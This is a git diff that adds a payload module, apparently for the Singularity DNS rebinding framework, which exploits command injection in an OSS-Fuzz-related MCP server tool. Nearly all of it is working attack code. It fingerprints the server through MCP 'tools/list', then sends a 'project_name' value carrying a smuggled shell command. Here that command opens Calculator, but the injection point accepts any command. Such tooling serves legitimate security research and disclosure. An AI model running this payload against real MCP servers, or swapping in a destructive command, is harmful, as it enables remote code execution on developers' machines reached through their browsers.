diff --git a/html/manager-config.json b/html/manager-config.json index 637bb5e..1c892b4 100644 --- a/html/manager-config.json +++ b/html/manager-config.json @@ -58,5 +58,9 @@ { "name": "Ray Jobs RCE", "ports": [8265] + }, + { + "name": "OSS-Fuzz MCP Command Injection", + "ports": [] }] } diff --git a/html/payloads/oss-fuzz-mcp-rce.js b/html/payloads/oss-fuzz-mcp-rce.js new file mode 100644 index 0000000..b7cc0ca --- /dev/null +++ b/html/payloads/oss-fuzz-mcp-rce.js @@ -0,0 +1,126 @@ +/** + * This payload exploits a command injection vulnerability found in a Model + * Context Protocol (MCP) tool named `check_if_oss_fuzz_project_builds`, + * exposed by an MCP server related to Google's OSS-Fuzz project + * (https://github.com/google/oss-fuzz). + * + * The tool's `project_name` argument was passed to a shell command without + * sanitization, permitting arbitrary command execution on the MCP server + * host via DNS rebinding. + * + * Reported to Google, who closed the report as out-of-scope / won't-fix. + */ + +const OssFuzzMcpRce = () => { + + const endpoint = "/mcp"; + const VULNERABLE_TOOL_NAME = "check_if_oss_fuzz_project_builds"; + + let rpcId = 1; + function nextId() { return rpcId++; } + + function jsonrpc(method, params) { + return { + jsonrpc: "2.0", + id: nextId(), + method, + params: params || {} + }; + } + + // Parse MCP response, handling both plain JSON and SSE ("data: {...}") formats + function parseMcpResponse(text) { + if (text.includes('data: ')) { + const dataMatch = text.match(/data: (.+)$/m); + if (dataMatch) { + try { + return JSON.parse(dataMatch[1]); + } catch (_e) { /* fall through to plain JSON parse */ } + } + } + try { + return JSON.parse(text); + } catch (_e) { + return undefined; + } + } + + async function mcpRequest(method, params) { + const response = await sooFetch(endpoint, { + method: 'POST', + credentials: 'omit', + headers: { + 'content-type': 'application/json', + 'accept': 'application/json, text/event-stream' + }, + body: JSON.stringify(jsonrpc(method, params)) + }); + return parseMcpResponse(await response.text()); + } + + // Invoked after DNS rebinding has been performed + async function attack(headers, cookie, body) { + try { + const initResp = await mcpRequest("initialize", { + protocolVersion: "2024-11-05", + capabilities: {}, + clientInfo: { name: "singularity", version: "0.0.1" } + }); + + if (!initResp || initResp.error) { + console.log('MCP init failed:', initResp?.error || 'No response'); + return; + } + + console.log(`Attempting command injection exploit via ${VULNERABLE_TOOL_NAME} tool...`); + + // OS-agnostic calculator command, consistent with other Singularity payloads + const calculatorCommand = 'test; python3 -c "import subprocess; subprocess.run([\'open\', \'-a\', \'Calculator\'])"'; + + const exploitResp = await mcpRequest("tools/call", { + name: VULNERABLE_TOOL_NAME, + arguments: { project_name: calculatorCommand }, + _meta: { progressToken: 0 } + }); + + if (exploitResp && !exploitResp.error) { + console.log('Command injection exploit succeeded:', exploitResp); + } else { + console.log('Command injection exploit failed (tool may not exist):', exploitResp?.error || 'No response'); + } + } catch (e) { + console.log('Command injection exploit error:', e.message); + } + } + + // Invoked to determine whether the rebinded service + // is the one targeted by this payload. Must return true or false. + async function isService(headers, cookie, body) { + try { + const initResp = await mcpRequest("initialize", { + protocolVersion: "2024-11-05", + capabilities: {}, + clientInfo: { name: "singularity-probe", version: "1.0.0" } + }); + + if (!initResp || initResp.error) { + return false; + } + + // Confirm the specific vulnerable tool is present before attacking + const listResp = await mcpRequest("tools/list", {}); + const tools = listResp?.result?.tools || []; + return tools.some(t => t.name === VULNERABLE_TOOL_NAME); + } catch (e) { + return false; + } + } + + return { + attack, + isService + } +} + +// Registry value and manager-config.json value must match +Registry["OSS-Fuzz MCP Command Injection"] = OssFuzzMcpRce();